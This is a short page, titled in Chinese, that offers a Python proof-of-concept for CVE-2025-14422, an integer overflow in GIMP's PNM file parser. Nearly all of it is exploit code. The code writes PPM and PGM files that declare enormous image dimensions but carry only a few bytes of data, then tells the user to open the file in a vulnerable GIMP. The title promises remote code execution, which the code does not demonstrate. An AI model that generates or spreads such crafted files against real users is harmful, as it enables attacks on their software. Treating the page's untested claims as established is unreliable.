CVE-2025-14422 GIMP PNM文件解析整数溢出远程代码执行漏洞

#!/usr/bin/env python3 """ PoC for CVE-2025-14422: GIMP PNM File Parsing Integer Overflow This PoC generates a malicious PNM file that may trigger integer overflow in GIMP's PNM parser when width * height calculation overflows. Note: This is for educational and security research purposes only. """ import struct import sys def create_malicious_ppm(filename): """ Create a malicious PPM file with potentially overflowing dimensions. The P6 format: P6\n<width> <height>\n<maxval>\n<binary data> """ # Craft dimensions that could trigger integer overflow # Using large values that when multiplied may overflow width = 65536 # Large width value height = 65536 # Large height value maxval = 255 # Create PPM header header = f"P6\n{width} {height}\n{maxval}\n" # Generate minimal binary data (will cause buffer issues) # The parser expects width * height * 3 bytes, but we provide less binary_data = b'\x00' * 10 # Minimal data with open(filename, 'wb') as f: f.write(header.encode('ascii')) f.write(binary_data) print(f"[+] Created malicious PNM file: {filename}") print(f"[+] Header: {header.strip()}") print(f"[+] Binary data length: {len(binary_data)} bytes") print(f"[!] Expected data length: {width * height * 3} bytes") print(f"[!] This mismatch may trigger integer overflow in vulnerable versions") def create_malicious_pgm(filename): """ Create a malicious PGM file with overflowing parameters. The P5 format: P5\n<width> <height>\n<maxval>\n<binary data> """ width = 100000 height = 100000 maxval = 65535 header = f"P5\n{width} {height}\n{maxval}\n" binary_data = b'\x00' * 100 with open(filename, 'wb') as f: f.write(header.encode('ascii')) f.write(binary_data) print(f"[+] Created malicious PNM file: {filename}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-14422 PoC - GIMP PNM Integer Overflow") print("=" * 60) if len(sys.argv) > 1: filename = sys.argv[1] else: filename = "malicious.ppm" create_malicious_ppm(filename) print("\n[*] Usage: Open this file with vulnerable GIMP version") print("[*] Target: GIMP versions affected by CVE-2025-14422")